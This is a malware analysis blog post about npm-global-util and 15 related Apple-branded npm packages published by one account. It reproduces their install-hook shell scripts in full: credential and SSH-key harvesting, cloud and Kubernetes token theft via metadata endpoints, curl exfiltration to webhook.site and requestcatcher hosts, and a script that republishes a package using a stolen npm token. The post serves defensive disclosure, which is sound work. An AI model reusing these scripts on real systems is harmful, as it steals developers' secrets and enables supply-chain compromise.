npm-global-util: Credential Theft and Supply Chain Attack
Table of Contents
TL;DR
npm-global-util is a malicious npm package published by raya4321 on April 29, 2026. It runs a shell script on preinstall that exfiltrates system credentials, cloud tokens, and environment secrets to attacker-controlled webhook.site endpoints. A bundled second-stage script (pwn.sh) steals npm publish tokens and uses them to inject a poisoned version of apple-app-store-server-library into the npm registry. The same maintainer account published 15 additional malicious packages under “apple-internal-*” branding, all active on the registry at time of writing.
Impact:
- Credential exfiltration on
npm install: npm tokens, SSH private keys, AWS credentials, GCP service account tokens, GitHub tokens, and environment variables - Supply chain escalation: if an npm publish token is found, the attacker attempts to inject a backdoored version of Apple’s
apple-app-store-server-library - Kubernetes pivot: related packages target K8s service account tokens and cloud metadata endpoints
- 16 malicious packages from the same maintainer account remain on the registry
Indicators of Compromise (IoC):
- Package:
npm-global-utilversions1.0.0through1.3.3 - Package:
agents-a365-runtimeversions1.3.5through1.3.8 - Package cluster:
apple-internal-*,apple-infra-*,apple-cktool-*,apple-coredata-*,apple-cloud-*by maintainerraya4321 - Exfil endpoints:
hxxps://webhook[.]site/42fb16cd-cddc-4a22-a7aa-ea6505ede8d6,hxxps://webhook[.]site/44a48e8a-8ab6-454b-b36b-a05458f90a92,hxxps://webhook[.]site/e44df9ae-8bff-478a-b1f2-514c1fcbf303,hxxps://webhook[.]site/85f78e76-dc73-4cb5-a65c-27f2c10db591,hxxps://webhook[.]site/1324ffab-98a9-4f19-8f72-4bbaad684aaf,hxxps://webhook[.]site/9a376595-d347-4110-ac32-814e6e2f0754,hxxps://franki[.]requestcatcher[.]com - Supply chain target:
apple-app-store-server-library
Analysis
Package Overview
npm-global-util has no description, no repository, no homepage, and no author field. The maintainer is raya4321 ([email protected]), an account that published 16 packages between April 27 and April 29, 2026. The version history tells a rapid iteration story: nine versions in roughly 70 minutes, each refining the recon payload.
$ curl -s "https://registry.npmjs.org/npm-global-util" | jq '.time'{ "created": "2026-04-29T06:45:28.959Z", "1.0.0": "2026-04-29T06:45:29.204Z", "1.0.9": "2026-04-29T07:07:52.967Z", "1.1.1": "2026-04-29T07:12:15.071Z", "1.1.4": "2026-04-29T07:18:04.188Z", "1.1.8": "2026-04-29T07:25:25.927Z", "1.2.0": "2026-04-29T07:29:10.904Z", "1.3.1": "2026-04-29T07:46:36.210Z", "1.3.2": "2026-04-29T07:50:21.898Z", "1.3.3": "2026-04-29T07:54:43.518Z"}The package has no legitimate functionality. Every file in every version is either package.json or a shell script.
Execution Trigger
The preinstall lifecycle hook fires when any project runs npm install with this package as a direct or transitive dependency. No user interaction is required.
{ "name": "npm-global-util", "version": "1.3.3", "scripts": { "preinstall": "sh ms_audit.sh" }}ms_audit.sh runs synchronously before the package installs. Failure does not block installation from the victim’s perspective since most CI pipelines treat install-hook errors as non-fatal.
Stage 1: Reconnaissance and Credential Harvest
Each version of ms_audit.sh targets a different layer of the victim environment. The version history reads like an attacker iterating against live test targets:
v1.0.0: System identity and cloud metadata probing
# package/ms_audit.sh (v1.0.0)export OUT=$(mktemp)URL='https://webhook.site/42fb16cd-cddc-4a22-a7aa-ea6505ede8d6'( echo "--- GLOBAL PACKAGE INFILTRATION ---" echo "Host: $(hostname) | User: $(id)" echo -e "\n[3] Network & Location Info:" curl -s https://ifconfig.me && echo " (Public IP)" echo -e "\n[4] Cloud Check:" curl -s -m 1 -I http://169.254.169.254 | grep Server || echo "Not a standard cloud metadata IP") > $OUTcurl -X POST -H "Content-Type: text/plain" --data-binary @$OUT $URLv1.0.9: Sensitive file extraction (PDF, private keys)
# package/ms_audit.sh (v1.0.9)URL='https://webhook.site/44a48e8a-8ab6-454b-b36b-a05458f90a92'find /root/.* -maxdepth 2 -type f \( -name "*.pdf" -o -name "*.key" -o -name "*token*" \) 2>/dev/null | head -n 10for f in $(find /root/.* -maxdepth 2 -type f \( -name "*.pdf" -o -name "*.key" \) 2>/dev/null | head -n 3); do echo "File: $f" base64 "$f" | head -c 200donev1.1.1: Full directory exfil of PDF and ZIP files
# package/ms_audit.sh (v1.1.1)URL='https://webhook.site/44a48e8a-8ab6-454b-b36b-a05458f90a92'find /root /home /opt /var/www -maxdepth 3 -type f \( -name "*.pdf" -o -name "*.zip" \) 2>/dev/null | while read -r FILE; do curl -X POST -F "file=@$FILE" -F "host=$(hostname)" -F "path=$FILE" "$URL"donecurl -X POST -d "Host $(hostname) has finished scanning for PDF/ZIP." "$URL"v1.1.4: Keyword-based sensitive file hunt (“Global Predator Scan”)
# package/ms_audit.sh (v1.1.4)URL='https://webhook.site/44a48e8a-8ab6-454b-b36b-a05458f90a92'find / -maxdepth 5 -type f \( \ -iname "*secret*" -o \ -iname "*confidential*" -o \ -iname "*backup*" -o \ -iname "*password*" -o \ -iname "*finance*" -o \ -iname "*invoice*" -o \ -iname "*rahasia*" \\) \( -name "*.pdf" -o -name "*.zip" -o -name "*.tar.gz" -o -name "*.sql" \) 2>/dev/null | head -n 20 | while read -r FILE; do curl -X POST \ -F "file=@$FILE" \ -F "host=$(hostname)" \ -F "full_path=$FILE" \ -F "size=$(du -h "$FILE" | cut -f1)" \ "$URL"donecurl -X POST -d "Global Predator Scan on $(hostname) finished. Check your Files tab." "$URL"v1.1.8: Targeting a specific file by name
# package/ms_audit.sh (v1.1.8)URL='https://webhook.site/44a48e8a-8ab6-454b-b36b-a05458f90a92'TARGET='/root/Desktop/u6Lx.pdf'if [ -f "$TARGET" ]; then curl -X POST -F "file=@$TARGET" "$URL?ikan_paus_cent_os" LINK=$(curl --upload-file "$TARGET" https://transfer.sh/u6Lx_rahasia.pdf) curl -X POST -d "LINK DOWNLOAD: $LINK" "$URL"fiThe hardcoded filename u6Lx.pdf and the query string ikan_paus_cent_os (Indonesian: “whale centOS”) suggest this version was written to validate access to a specific targeted machine.
v1.2.0: Database URL and cloud storage bucket discovery
# package/ms_audit.sh (v1.2.0)URL='https://webhook.site/44a48e8a-8ab6-454b-b36b-a05458f90a92'( echo "[1] Searching for Database URL Patterns in Files:" grep -rEho "https?://[a-zA-Z0-9./_-]+(sql|dump|db|backup|data)[a-zA-Z0-9./_-]+" /home /root /var/www 2>/dev/null | head -n 15
echo "[2] Checking .bash_history for wget/curl DB links:" grep -E "wget|curl" ~/.bash_history 2>/dev/null | grep -iE "sql|zip|gz|db" | tail -n 5
echo "[3] Searching for S3/Cloud Storage Buckets:" grep -rEho "[a-zA-Z0-9.-]+\.s3\.amazonaws\.com/[a-zA-Z0-9./_-]+" /root /home 2>/dev/null grep -rEho "storage\.googleapis\.com/[a-zA-Z0-9./_-]+" /root /home 2>/dev/null) > db_links.txtcurl -X POST -F "file=@db_links.txt" "$URL"v1.3.1: Comprehensive credential harvest (final form before latest)
# package/ms_audit.sh (v1.3.1)URL='https://webhook.site/e44df9ae-8bff-478a-b1f2-514c1fcbf303'( echo "[1] Check NPM Auth (The Holy Grail):" cat ~/.npmrc 2>/dev/null echo "[2] Check Cloud Credentials (GCP/AWS/Azure):" grep -rEi "access_key|secret_key|token" ~/.config ~/.aws ~/.azure 2>/dev/null | head -n 10 echo "[3] Check SSH Keys (Full System Access):" find ~/.ssh -type f -name "id_*" ! -name "*.pub" 2>/dev/null | while read -r KEY; do echo "Found Key: $KEY" cat "$KEY" | head -n 5 done echo "[4] Environment Variables (Passwords in RAM):" env | grep -Ei "pass|secret|token|db_|key" | head -n 10) > final_leak.txtcurl -X POST -F "file=@final_leak.txt" "$URL"v1.3.2: GCP identity probe and .env hunting
# package/ms_audit.sh (v1.3.2)URL='https://webhook.site/e44df9ae-8bff-478a-b1f2-514c1fcbf303'( echo "[1] GCE Identity Info:" curl -s -H "Metadata-Flavor: Google" \ "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/identity?audience=$URL" 2>/dev/null
echo "[2] Hunting for Environment Secrets:" find . -name ".env" -exec cat {} \; 2>/dev/null
echo "[3] Sensitive Processes:" ps aux | grep -Ei "key|auth|secret|token" | grep -v grep) > final_identity.txtcurl -X POST -F "file=@final_identity.txt" "$URL"v1.3.3 (latest): Sandbox and container fingerprinting
# package/ms_audit.sh (v1.3.3)URL='https://webhook.site/e44df9ae-8bff-478a-b1f2-514c1fcbf303'( echo "[1] Current Shell & Process Tree (Seeing the Wrapper):" ps -ef f | head -n 20 echo "[2] Inspecting Container/Sandbox Metadata:" ls -la /proc/1/cgroup 2>/dev/null cat /proc/1/environ 2>/dev/null | tr '\0' '\n' echo "[3] Searching for Entrypoint/Startup Scripts:" find / -maxdepth 2 -name "*entrypoint*" -o -name "*start*" -o -name "*init*" 2>/dev/null \ | xargs -I {} sh -c 'echo "FILE: {}"; cat "{}" | head -n 50; echo "---"' echo "[4] Mount Points (Seeing the Sandbox Borders):" mount | grep -Ei "docker|overlay|virtiofs") > sandbox_core.txtcurl -X POST -F "file=@sandbox_core.txt" "$URL"The pivot from credential collection in v1.3.1 to sandbox profiling in v1.3.3 suggests the attacker shifted from opportunistic credential theft toward understanding the detection environment, likely after getting caught by automated npm security scanners.
Stage 2: Supply Chain Attack via Stolen npm Token
pwn.sh, bundled in versions 1.0.0 through 1.2.0, is the second-stage payload. It is not called by ms_audit.sh directly, which means it was either intended for execution via a different mechanism or represents in-progress attack development. The intent is clear regardless:
# package/pwn.sh (all versions containing it)URL='https://webhook.site/85f78e76-dc73-4cb5-a65c-27f2c10db591'( BOT_TOKEN=$(env | grep -E 'NPM_TOKEN|NODE_AUTH_TOKEN|GITHUB_TOKEN|NPM_AUTH_TOKEN' | head -n 1 | cut -d= -f2)
if [ -z "$BOT_TOKEN" ]; then BOT_TOKEN=$(grep -oE 'authToken=[^ ]+' ~/.npmrc 2>/dev/null | cut -d= -f2) fi
if [ -n "$BOT_TOKEN" ]; then echo "TOKEN VALID DITEMUKAN: ${BOT_TOKEN:0:7}***" echo "//registry.npmjs.org/:_authToken=$BOT_TOKEN" > .npmrc npm pack apple-app-store-server-library 2>/dev/null FILE=$(ls apple-app-store-server-library-*.tgz 2>/dev/null) if [ -n "$FILE" ]; then mkdir -p pocalin && tar -xzf "$FILE" -C pocalin cd pocalin/package echo -e "\n# Proof of Concept by Frank\nAutomatically updated by internal automation using discovered credentials." >> README.md CUR_VER=$(grep '"version":' package.json | cut -d'"' -f4) NEXT_VER="${CUR_VER%.*}.$((${CUR_VER##*.}+1))" sed -i "s/\"version\": \"$CUR_VER\"/\"version\": \"$NEXT_VER\"/" package.json sed -i '/"prepack":/d; /"prepare":/d; /"build":/d' package.json cp ../../.npmrc . npm publish --userconfig .npmrc 2>&1 fi fi) > $OUTcurl -X POST -H "Content-Type: text/plain" --data-binary @$OUT $URLIf an npm auth token is found in environment variables or ~/.npmrc, the script:
- Downloads a fresh copy of
apple-app-store-server-library(Apple’s official App Store Server API client) - Appends a “Proof of Concept by Frank” string to its README
- Bumps the patch version
- Strips build and prepare scripts to avoid compilation failures
- Publishes the modified package using the victim’s credentials
A developer running npm install with publish rights to a legitimate package would unknowingly hand the attacker the keys to inject malicious code into that package’s registry entry.
The Broader Campaign
raya4321 published 15 additional malicious packages alongside npm-global-util, all using Apple-branded names to suggest internal tooling:
| Package | Hook | Target | Exfil Endpoint |
|---|---|---|---|
apple-internal-telemetry-service | postinstall | SSH keys, env vars (Apple hostname check) | franki.requestcatcher.com |
apple-internal-pki-trust | preinstall | .git-credentials, .env, Azure tokens | franki.requestcatcher.com |
apple-internal-pki-trust-v5 | postinstall | Env vars (APPLE/AWS/GIT/SECRET) | franki.requestcatcher.com |
apple-cktool-api-v2 | postinstall | CloudKit token files (~/.cloudkit) | franki.requestcatcher.com |
apple-pki-cert-validator | postinstall | SSH private keys | franki.requestcatcher.com |
apple-internal-dev-check | postinstall | Full system scan: files, cloud, env | franki.requestcatcher.com |
apple-coredata-internal-service | postinstall | ~/.npmrc, AWS creds, SSH | franki.requestcatcher.com |
apple-cloud-infrastructure-monitor | postinstall | Full creds: env, SSH, AWS, git | webhook.site/9a376595-... |
apple-infra-network-v2 | preinstall | DNS, ARP, internal network topology | webhook.site/1324ffab-... |
apple-infra-gcp-leak | preinstall | GCP metadata: project ID, zone, service account token | webhook.site/1324ffab-... |
apple-internal-auth-v3 | postinstall | SSH, AWS creds (Apple hostname check) | franki.requestcatcher.com |
agents-a365-runtime | preinstall | Kubernetes service account token at /var/run/secrets/kubernetes.io/serviceaccount/token | webhook.site/42fb16cd-... |
apple-infra-ultimate-bypass | preinstall | Executes /tmp/final_payload.sh | (varies) |
apple-infra-final-escape | preinstall | Executes /tmp/final_sweep.sh | (varies) |
Three packages from the cluster deserve closer examination.
agents-a365-runtime: Kubernetes service account token theft
# agents-a365-runtime/package/ms_audit.sh (v1.3.8)URL='https://webhook.site/42fb16cd-cddc-4a22-a7aa-ea6505ede8d6'( echo "[1] Kubernetes Service Account Token:" cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null || echo "Token not found" echo "[2] Kubernetes Namespace:" cat /var/run/secrets/kubernetes.io/serviceaccount/namespace 2>/dev/null echo "[3] Environment Scan for K8S/API Keys:" printenv | grep -Ei 'KUBE|SERVICE|API|PORT|PROTO' echo "[4] Mount Points (Cek file sensitif lainnya):" mount | grep -i 'secret') > $OUTcurl -X POST -H "Content-Type: text/plain" --data-binary @$OUT $URLapple-infra-gcp-leak: GCP service account token via metadata endpoint
# apple-infra-gcp-leak/package/ms_audit.sh (v1.2.0)URL='https://webhook.site/1324ffab-98a9-4f19-8f72-4bbaad684aaf'( echo "[1] Project ID & Zone:" curl -s -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/project/project-id curl -s -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/zone echo "[2] Service Account Token (THE GOLDEN TICKET):" curl -s -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token echo "[3] Service Account Scopes:" curl -s -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes) > $OUTcurl -X POST --data-binary @$OUT $URLapple-internal-telemetry-service: Apple hostname-gated exfil
# apple-internal-telemetry-service/package/package.json (v1.0.0){ "postinstall": "if hostname | grep -iq 'apple' || env | grep -iq 'apple'; then (echo '--- SYSTEM INFO ---'; hostname; whoami; uname -a; echo '--- ENV DATA ---'; printenv; echo '--- SSH KEYS ---'; ls -la ~/.ssh; cat ~/.ssh/id_rsa ) > apple_data.txt 2>&1; curl -X POST -F \"file=@apple_data.txt\" https://franki.requestcatcher.com/apple_verified_leak; fi"}The grep -iq 'apple' gate means this payload only fires on machines where the hostname or environment contains the string “apple”, confirming the campaign targets Apple’s internal developer fleet or CI runners rather than arbitrary npm users.
apple-infra-ultimate-bypass: Staged detonation
// apple-infra-ultimate-bypass/package/package.json (v3.0.0){ "name": "apple-infra-ultimate-bypass", "version": "3.0.0", "scripts": { "preinstall": "sh /tmp/final_payload.sh" }}This package ships no payload of its own. It executes whatever script is already at /tmp/final_payload.sh. The same pattern applies to apple-infra-final-escape, which runs /tmp/final_sweep.sh. If multiple packages from this cluster are installed in the same environment (as transitive dependencies of a shared parent), an earlier package could write the script to /tmp and this one fires it.
Attacker Attribution Signals
All scripts contain comments in Bahasa Indonesia, including operational notes like "Mengambil token NPM yang dipakai buat publish/install paket" (“Getting the npm token used for publishing/installing packages”) and "Kunci privat SSH yang sering ditinggal di server" (“SSH private keys often left on servers”). The attacker signs the supply chain PoC with “Frank.”
The [email protected] email address and account name raya4321 appear to be purpose-created for this campaign, with no prior publish history.
Conclusion
npm-global-util combines credential harvesting with a supply chain escalation vector targeting apple-app-store-server-library. The 16-package cluster under raya4321 covers a wide attack surface: SSH keys, cloud credentials, Kubernetes tokens, GCP service accounts, and npm publish rights. The Apple-branded naming and hostname-gating indicate a targeted campaign against Apple developer environments rather than indiscriminate opportunism.
All 16 packages were on the registry as of April 29, 2026. Any npm install in an environment with Apple-themed tooling, K8s access, or CI publish tokens should be treated as a potential exposure vector until the packages are removed.
Scan your dependency graph with vet or check registry metadata via SafeDep to identify exposure from this maintainer account before an install runs.
References
- npm
- oss
- malware
- supply-chain
Author
SafeDep Team
safedep.io
Share
The Latest from SafeDep blogs
Follow for the latest updates and insights on open source security & engineering

node-env-resolve: npm Package Installs a Full RAT
node-env-resolve is a malicious npm package that installs a full-featured remote access trojan on developer machines. The RAT streams screens, captures audio, steals browser history, and gives full...

exiouss: Cookie Stealer Bundled in npm Exam Cheat
exiouss on npm is the latest package from the loltestpad campaign — the same attacker who published the ixpresso-core Windows RAT in April. It bundles a dormant ChatGPT cookie stealer alongside an AI...

common-tg-service: 502 npm Versions Hijack Telegram
common-tg-service ships 502 npm versions of a Telegram account-takeover framework with hardcoded 2FA credentials, IMAP-based code harvesting, and forced session eviction. Its companion package...

PyTorch Lightning Compromised: Shai-Hulud Worm Reaches PyPI
PyPI yanked PyTorch Lightning versions 2.6.2 and 2.6.3 after both embedded a two-stage credential-stealing payload. Any import of the library spawns an 11MB obfuscated JavaScript worm identical to...

Ship Code.
Not Malware.
Start free with open source tools on your machine. Scale to a unified platform for your organization.
